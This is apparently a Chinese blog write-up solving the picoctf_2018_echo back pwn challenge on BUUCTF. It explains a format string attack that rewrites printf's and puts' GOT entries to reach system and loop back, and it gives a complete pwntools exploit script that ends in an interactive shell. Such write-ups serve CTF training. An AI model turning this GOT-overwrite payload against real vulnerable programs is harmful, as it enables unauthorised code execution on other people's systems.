[BUUCTF-pwn]——picoctf_2018_echo back

最新推荐文章于 2022-04-26 16:54:24 发布

Y-peak

最新推荐文章于 2022-04-26 16:54:24 发布

阅读量429

点赞数 2

分类专栏： # BUUCTF # 格式化字符串

本文链接：https://blog.youkuaiyun.com/Y_peak/article/details/115418499

版权

BUUCTF 同时被 2 个专栏收录

89 篇文章

订阅专栏

格式化字符串

11 篇文章

订阅专栏

该篇博客介绍了如何通过利用PicoCTF_2018_echoback挑战中的printf_got和puts_got地址，实现对system函数的间接调用，从而完成shellcode执行。作者提到尝试使用fini_array未果，最终选择put的got表进行攻击。详细展示了payload的构造和交互过程。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

[BUUCTF-pwn]——picoctf_2018_echo back

和之前的一道题及其类似大家可以对比一下[BUUCTF-pwn]——ciscn_2019_sw_1

思路都是一样的就是将printf_got修改为system_plt表，然后循环调用就好
在这里插入图片描述
找偏移，为7

不过有点难受的是，不知道为什么利用fini_array不行，那里错了也不知道，没办法只有利用put的got表了。

exploit

from pwn import*
p=remote('node3.buuoj.cn',27945)
#p = process('./PicoCTF_2018_echo_back')
#gdb.attach(p, 'b printf')
printf_got = 0x0804A010
sys_plt = 0x08048460
puts_got = 0x0804A01C
vuln = 0x080485AB
fini = 0x08049F0C
offset = 7

payload = p32(puts_got + 2) + p32(printf_got+2) + p32(printf_got) + p32(puts_got)
payload += '%' + str(0x0804 - 0x10) + 'c%7$hn'
payload += '%8$hn'
payload += '%' + str(0x8460 - 0x0804) + 'c%9$hn'
payload += '%' + str(0x85AB - 0x8460) + 'c%10$hn'

p.recvuntil('message:\n')
p.send(payload)

p.recvuntil('message:\n')
p.sendline('/bin/sh\x00')

p.interactive()